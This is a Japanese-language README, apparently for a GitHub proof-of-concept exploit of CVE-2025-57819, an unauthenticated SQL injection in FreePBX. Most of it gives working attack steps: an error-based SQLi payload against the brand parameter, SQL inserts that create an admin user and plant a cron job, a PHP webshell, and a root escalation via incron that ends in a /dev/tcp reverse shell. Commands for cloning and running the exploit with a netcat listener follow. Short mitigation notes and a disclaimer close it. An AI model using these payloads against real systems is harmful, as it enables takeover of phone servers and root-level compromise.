
CVE-2025-57819の概念実証エクスプロイト。FreePBXにおける未認証SQLインジェクションで、管理者アカウント作成、ウェブシェル展開、root権限昇格を連鎖させてRCEに至る。
教育およびセキュリティ研究専用 - 下記の法的通知を参照してください
CVE-2025-57819のエクスプロイト実証コード(PoC)です。これはFreePBXにおける重大な未認証SQLインジェクション脆弱性で、リモートコード実行を可能にします。このPoCは、セキュリティ研究および許可されたテスト目的のみに、公式パッチがリリースされた後に公開されています。
FreePBXバージョン15.x、16.x、17.x(パッチ適用済みバージョン未満)は、endpointモジュールのAJAXハンドラにおける未認証SQLインジェクションに対して脆弱です。この脆弱性チェーンにより、以下が可能になります:
| CVE ID | CVE-2025-57819 |
| 種類 | 未認証SQLインジェクション(エラーベース) |
| CVSS | 9.8 / 10.0(Critical) |
| 影響を受けるバージョン | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| パッチ適用済み | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | はい(2025年8月29日) |
GET /admin/ajax.php?brand=<PAYLOAD>
endpointモジュールのAJAXハンドラにおけるbrandパラメータは、検証なしでユーザー入力を受け入れるため、エラーベースSQLインジェクションが発生します。
EXTRACTVALUE()エラーベース抽出を使用してSQLiを検証し、データベース名を漏洩させます:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
asterisk.ampusersに新しい管理者ユーザーを挿入します:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
有効な管理者認証情報を使用して、エクスプロイトはFreePBXに認証し、認証済みセッションを確立します。セッションCookieは保存され、その後のすべての認証済みリクエストに使用されます。
asterisk.cron_jobsにウェブシェルコマンドを注入します:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
FreePBXのcronランナーがasteriskユーザーとしてコマンドを実行し、PHPウェブシェルを配置します。
PHPウェブシェルは/var/www/html/shell.phpに展開されます:
<?php system($_GET['cmd']); ?>
エクスプロイトはウェブシェルが有効化されるまでポーリングし、asteriskユーザー(uid=999)としてRCEを達成します。
ターゲットにincronが設定されている場合:
/var/spool/asterisk/incron/にトリガーファイルを作成incrond(rootとして実行中)がファイル作成を検知/usr/bin/sysadmin_managerを呼び出すsysadmin_managerがGPG署名を検証し、fwconsole-commandsフックにディスパッチ/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1結果: リバースリスナー上でrootシェル(incronが利用可能な場合)。
brandパラメータに対する入力検証の欠如asterisk.cron_jobsテーブルがasteriskとしてコマンドを実行git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Netcatリスナーのセットアップ
nc -lvnp <Listener Port>
# エクスプロイトの実行
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| バージョン | ステータス |
|---|---|
| 15.0.0 - 15.0.65 | 脆弱 |
| 15.0.66+ | パッチ適用済み |
| 16.0.0 - 16.0.88 | 脆弱 |
| 16.0.89+ | パッチ適用済み |
| 17.0.0 - 17.0.2 | 脆弱 |
| 17.0.3+ | パッチ適用済み |
即時対応:
/admin/ajax.phpへのアクセスを制限するsystemctl disable incrond恒久対応: パッチ適用済みバージョンにアップグレード: 15.0.66+、16.0.89+、または17.0.3+
⚠️ 免責事項
この実証コードは、許可されたセキュリティテストおよび教育目的のみに提供されています。作者は、このツールの誤用または損害に対して一切の責任を負いません。
以下を遵守する必要があります:
禁止されている使用:
責任の放棄: 作者は以下に対して責任を負いません:
この脆弱性は:
JazzTheRabbit
MIT License